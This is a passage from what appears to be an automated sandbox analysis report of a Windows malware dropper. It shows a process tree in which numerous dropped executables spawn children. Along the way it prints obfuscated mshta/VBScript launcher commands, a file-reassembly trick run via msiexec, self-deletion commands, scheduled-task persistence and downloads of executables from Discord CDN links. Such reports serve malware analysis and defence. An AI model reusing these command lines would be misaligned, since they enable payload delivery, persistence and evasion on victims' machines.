C:\Users\Admin\Pictures\Adobe Films\UBmFHZ8mX1WA__gGTDlJaqG8.exe"C:\Users\Admin\Pictures\Adobe Films\UBmFHZ8mX1WA__gGTDlJaqG8.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5092
-
-
C:\Users\Admin\Pictures\Adobe Films\lFbCRQRRm6pas_s2WMj7t8O3.exe"C:\Users\Admin\Pictures\Adobe Films\lFbCRQRRm6pas_s2WMj7t8O3.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5656 -
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"7⤵
- Drops file in Program Files directory
PID:5364
-
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵PID:2780
-
-
-
C:\Users\Admin\Pictures\Adobe Films\sGQhoH2XC61E44HNJvyPCldu.exe"C:\Users\Admin\Pictures\Adobe Films\sGQhoH2XC61E44HNJvyPCldu.exe"6⤵
- Executes dropped EXE
PID:5612 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im sGQhoH2XC61E44HNJvyPCldu.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\sGQhoH2XC61E44HNJvyPCldu.exe" & del C:\ProgramData\*.dll & exit7⤵PID:7596
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im sGQhoH2XC61E44HNJvyPCldu.exe /f8⤵
- Kills process with taskkill
PID:7060
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:10148
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\BmtIrsZ3_c0yIULXQeeVdv2X.exe"C:\Users\Admin\Pictures\Adobe Films\BmtIrsZ3_c0yIULXQeeVdv2X.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5508 -
C:\Users\Admin\Documents\DR_qHmajFXmf2BFCwsz_9VoE.exe"C:\Users\Admin\Documents\DR_qHmajFXmf2BFCwsz_9VoE.exe"7⤵PID:812
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:4656
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:2448
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Ilfe8Jb1D8sjzZ1u9umT7mRG.exe"C:\Users\Admin\Pictures\Adobe Films\Ilfe8Jb1D8sjzZ1u9umT7mRG.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5500 -
C:\Users\Admin\Pictures\Adobe Films\Ilfe8Jb1D8sjzZ1u9umT7mRG.exe"C:\Users\Admin\Pictures\Adobe Films\Ilfe8Jb1D8sjzZ1u9umT7mRG.exe"7⤵PID:3716
-
-
-
C:\Users\Admin\Pictures\Adobe Films\39P_8p3e0thz0YWGHuCJsZ4x.exe"C:\Users\Admin\Pictures\Adobe Films\39P_8p3e0thz0YWGHuCJsZ4x.exe"6⤵
- Suspicious use of SetThreadContext
PID:2812 -
C:\Users\Admin\Pictures\Adobe Films\39P_8p3e0thz0YWGHuCJsZ4x.exe"C:\Users\Admin\Pictures\Adobe Films\39P_8p3e0thz0YWGHuCJsZ4x.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5952
-
-
-
C:\Users\Admin\Pictures\Adobe Films\4xggSC5Dk2sgR5wUwIkMzBkH.exe"C:\Users\Admin\Pictures\Adobe Films\4xggSC5Dk2sgR5wUwIkMzBkH.exe"6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:5384
-
-
C:\Users\Admin\Pictures\Adobe Films\QwhzMv8YnKLriuCpQAAOHKFt.exe"C:\Users\Admin\Pictures\Adobe Films\QwhzMv8YnKLriuCpQAAOHKFt.exe"6⤵PID:3620
-
-
C:\Users\Admin\Pictures\Adobe Films\qT9_LIOsJLOifDjajDL0jL3D.exe"C:\Users\Admin\Pictures\Adobe Films\qT9_LIOsJLOifDjajDL0jL3D.exe"6⤵PID:6140
-
C:\Users\Admin\Pictures\Adobe Films\qT9_LIOsJLOifDjajDL0jL3D.exe"C:\Users\Admin\Pictures\Adobe Films\qT9_LIOsJLOifDjajDL0jL3D.exe"7⤵PID:6556
-
-
-
C:\Users\Admin\Pictures\Adobe Films\pKdSBD4kg5OrCJpFtRrJ_5of.exe"C:\Users\Admin\Pictures\Adobe Films\pKdSBD4kg5OrCJpFtRrJ_5of.exe"6⤵PID:1400
-
-
C:\Users\Admin\Pictures\Adobe Films\PU6N0UzgOFQoL73yAS3u09iD.exe"C:\Users\Admin\Pictures\Adobe Films\PU6N0UzgOFQoL73yAS3u09iD.exe"6⤵
- Adds Run key to start application
PID:5868 -
C:\Windows\SysWOW64\svchost.exesvchost.exe7⤵PID:6680
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Benvenuta.wmv7⤵PID:6952
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:708
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^cumYgySQBgxPdjFKcKawUwBIsAmBYzAvcYxZIAEmtYNfVBRWjWqBCNmzERHNFdSiOXxsRGwVuTWVhjNPJDfwzYUHnqxRTQTNuGAXimtGVt$" Allora.wmv9⤵PID:6160
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comAltrove.exe.com e9⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2840 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e10⤵PID:6680
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e11⤵PID:7560
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e12⤵PID:7824
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e13⤵PID:7332
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e14⤵PID:7572
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e15⤵PID:7524
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e16⤵PID:2144
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e17⤵PID:7652
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e18⤵PID:8092
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e19⤵PID:8144
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e20⤵PID:2712
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e21⤵PID:7940
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e22⤵PID:4556
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e23⤵PID:9116
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e24⤵PID:9612
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e25⤵PID:10000
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e26⤵PID:1556
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e27⤵PID:7496
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e28⤵PID:4820
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e29⤵PID:8928
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e30⤵PID:4440
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e31⤵PID:3540
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e32⤵PID:8280
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e33⤵PID:7556
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e34⤵PID:9596
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e35⤵PID:10116
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e36⤵PID:6896
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e37⤵PID:6288
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e38⤵PID:9976
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e39⤵PID:4440
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e40⤵PID:8304
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e41⤵PID:5388
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e42⤵PID:8280
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.19⤵
- Runs ping.exe
PID:5064
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\sjsjsy3tJhZXPuKfUbFMNLJ3.exe"C:\Users\Admin\Pictures\Adobe Films\sjsjsy3tJhZXPuKfUbFMNLJ3.exe"6⤵PID:4184
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\E9C0.tmp\E9C1.tmp\E9C2.bat "C:\Users\Admin\Pictures\Adobe Films\sjsjsy3tJhZXPuKfUbFMNLJ3.exe""7⤵PID:6988
-
C:\Users\Admin\AppData\Local\Temp\E9C0.tmp\E9C1.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\E9C0.tmp\E9C1.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""8⤵PID:1452
-
-
C:\Users\Admin\AppData\Local\Temp\E9C0.tmp\E9C1.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\E9C0.tmp\E9C1.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/902902974442000446/902903105925021696/18.exe" "18.exe" "" "" "" "" "" ""8⤵PID:584
-
-
C:\Users\Admin\AppData\Local\Temp\E9C0.tmp\E9C1.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\E9C0.tmp\E9C1.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/902902974442000446/902903166096531536/Transmissibility.exe" "Transmissibility.exe" "" "" "" "" "" ""8⤵PID:8156
-
-
C:\Users\Admin\AppData\Local\Temp\16991\18.exe18.exe8⤵
- Suspicious behavior: EnumeratesProcesses
PID:1852
-
-
C:\Users\Admin\AppData\Local\Temp\16991\Transmissibility.exeTransmissibility.exe8⤵PID:1304
-
-
C:\Users\Admin\AppData\Local\Temp\E9C0.tmp\E9C1.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\E9C0.tmp\E9C1.tmp\extd.exe "" "" "" "" "" "" "" "" ""8⤵PID:6888
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\YNXyHeWxDpD4uopZucOe1_lx.exe"C:\Users\Admin\Pictures\Adobe Films\YNXyHeWxDpD4uopZucOe1_lx.exe"6⤵
- Suspicious use of SetThreadContext
PID:5420 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵PID:6616
-
-
-
C:\Users\Admin\Pictures\Adobe Films\macLieDTDoMGB8p38LfAtOJE.exe"C:\Users\Admin\Pictures\Adobe Films\macLieDTDoMGB8p38LfAtOJE.exe"6⤵PID:5244
-
-
C:\Users\Admin\Pictures\Adobe Films\fX5J_05M9rY0FeWIgeM6VROa.exe"C:\Users\Admin\Pictures\Adobe Films\fX5J_05M9rY0FeWIgeM6VROa.exe"6⤵PID:1452
-
-
C:\Users\Admin\Pictures\Adobe Films\uNCW5Yt4VF3kJmGgudvDF72l.exe"C:\Users\Admin\Pictures\Adobe Films\uNCW5Yt4VF3kJmGgudvDF72l.exe"6⤵PID:5812
-
-
C:\Users\Admin\Pictures\Adobe Films\JXaAeHPcI87W62JfMfbsCBRN.exe"C:\Users\Admin\Pictures\Adobe Films\JXaAeHPcI87W62JfMfbsCBRN.exe"6⤵PID:6932
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\JXaAeHPcI87W62JfMfbsCBRN.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\JXaAeHPcI87W62JfMfbsCBRN.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵PID:4592
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\JXaAeHPcI87W62JfMfbsCBRN.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\JXaAeHPcI87W62JfMfbsCBRN.exe" ) do taskkill -im "%~NxK" -F8⤵PID:3616
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP9⤵PID:4624
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )10⤵PID:4408
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F11⤵PID:3172
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )10⤵PID:6808
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY11⤵PID:7828
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "12⤵PID:4152
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"12⤵PID:7988
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY12⤵PID:4384
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "JXaAeHPcI87W62JfMfbsCBRN.exe" -F9⤵
- Kills process with taskkill
PID:6448
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\NHDHrG4D0LgK6Dxjx4jwhsnI.exe"C:\Users\Admin\Pictures\Adobe Films\NHDHrG4D0LgK6Dxjx4jwhsnI.exe"6⤵PID:6464
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=17⤵PID:1996
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--iUSIg"8⤵PID:10148
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1b4,0x1e8,0x7fff042fdec0,0x7fff042fded0,0x7fff042fdee09⤵PID:4080
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff647209e70,0x7ff647209e80,0x7ff647209e9010⤵PID:8260
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1652,11789575647461292781,3196081949070900080,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10148_115526813" --mojo-platform-channel-handle=1684 /prefetch:89⤵PID:8848
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ZzOGYWn1W5sNfdN4RvEIv3to.exe"C:\Users\Admin\Pictures\Adobe Films\ZzOGYWn1W5sNfdN4RvEIv3to.exe"6⤵PID:2288
-
C:\Users\Admin\AppData\Local\Temp\is-JMFNK.tmp\ZzOGYWn1W5sNfdN4RvEIv3to.tmp"C:\Users\Admin\AppData\Local\Temp\is-JMFNK.tmp\ZzOGYWn1W5sNfdN4RvEIv3to.tmp" /SL5="$702BC,506127,422400,C:\Users\Admin\Pictures\Adobe Films\ZzOGYWn1W5sNfdN4RvEIv3to.exe"7⤵PID:4852
-
C:\Users\Admin\AppData\Local\Temp\is-9PBDK.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-9PBDK.tmp\DYbALA.exe" /S /UID=27108⤵PID:7380
-
C:\Program Files\Google\OHWHWFKZEO\foldershare.exe"C:\Program Files\Google\OHWHWFKZEO\foldershare.exe" /VERYSILENT9⤵PID:7492
-
-
C:\Users\Admin\AppData\Local\Temp\b8-1bc1a-669-5f885-dda7a2e8ac185\Qyvybizhowa.exe"C:\Users\Admin\AppData\Local\Temp\b8-1bc1a-669-5f885-dda7a2e8ac185\Qyvybizhowa.exe"9⤵PID:7456
-
-
C:\Users\Admin\AppData\Local\Temp\da-7ab5d-239-40fa3-ef4120c148858\Kifodaecony.exe"C:\Users\Admin\AppData\Local\Temp\da-7ab5d-239-40fa3-ef4120c148858\Kifodaecony.exe"9⤵PID:4520
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lyj3sl5g.m1j\GcleanerEU.exe /eufive & exit10⤵PID:9196
-
C:\Users\Admin\AppData\Local\Temp\lyj3sl5g.m1j\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\lyj3sl5g.m1j\GcleanerEU.exe /eufive11⤵PID:9980
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ibemyija.0si\installer.exe /qn CAMPAIGN="654" & exit10⤵PID:3444
-
C:\Users\Admin\AppData\Local\Temp\ibemyija.0si\installer.exeC:\Users\Admin\AppData\Local\Temp\ibemyija.0si\installer.exe /qn CAMPAIGN="654"11⤵PID:10032
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ayc5urj5.mfx\any.exe & exit10⤵PID:9344
-
C:\Users\Admin\AppData\Local\Temp\ayc5urj5.mfx\any.exeC:\Users\Admin\AppData\Local\Temp\ayc5urj5.mfx\any.exe11⤵PID:10156
-
C:\Users\Admin\AppData\Local\Temp\ayc5urj5.mfx\any.exe"C:\Users\Admin\AppData\Local\Temp\ayc5urj5.mfx\any.exe" -u12⤵PID:9988
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cax1rjz4.5sp\gcleaner.exe /mixfive & exit10⤵PID:9548
-
C:\Users\Admin\AppData\Local\Temp\cax1rjz4.5sp\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\cax1rjz4.5sp\gcleaner.exe /mixfive11⤵PID:300
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wfv5ln4o.cbt\autosubplayer.exe /S & exit10⤵PID:9696
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed096a1bff61.exe4⤵PID:312
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed096a1bff61.exeWed096a1bff61.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2008 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
PID:932 -
C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4180 -
C:\Users\Admin\AppData\Roaming\8696598.exe"C:\Users\Admin\AppData\Roaming\8696598.exe"8⤵
- Executes dropped EXE
PID:4252
-
-
C:\Users\Admin\AppData\Roaming\2088911.exe"C:\Users\Admin\AppData\Roaming\2088911.exe"8⤵
- Executes dropped EXE
PID:4464
-
-
C:\Users\Admin\AppData\Roaming\20751.exe"C:\Users\Admin\AppData\Roaming\20751.exe"8⤵
- Executes dropped EXE
PID:2896
-
-
C:\Users\Admin\AppData\Roaming\4657985.exe"C:\Users\Admin\AppData\Roaming\4657985.exe"8⤵
- Executes dropped EXE
PID:4528
-
-
C:\Users\Admin\AppData\Roaming\8149190.exe"C:\Users\Admin\AppData\Roaming\8149190.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5644 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"9⤵PID:6576
-
-
-
C:\Users\Admin\AppData\Roaming\7903763.exe"C:\Users\Admin\AppData\Roaming\7903763.exe"8⤵
- Executes dropped EXE
PID:5724
-
-
C:\Users\Admin\AppData\Roaming\7433237.exe"C:\Users\Admin\AppData\Roaming\7433237.exe"8⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5680 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"9⤵
- Suspicious behavior: SetClipboardViewer
PID:1488
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵
- Executes dropped EXE
PID:4300
-
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"7⤵
- Executes dropped EXE
PID:4448
-
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4604 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4604 -s 15688⤵
- Program crash
PID:6048
-
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵
- Executes dropped EXE
PID:4752 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:1616
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:1156
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi10⤵
- Executes dropped EXE
PID:5356 -
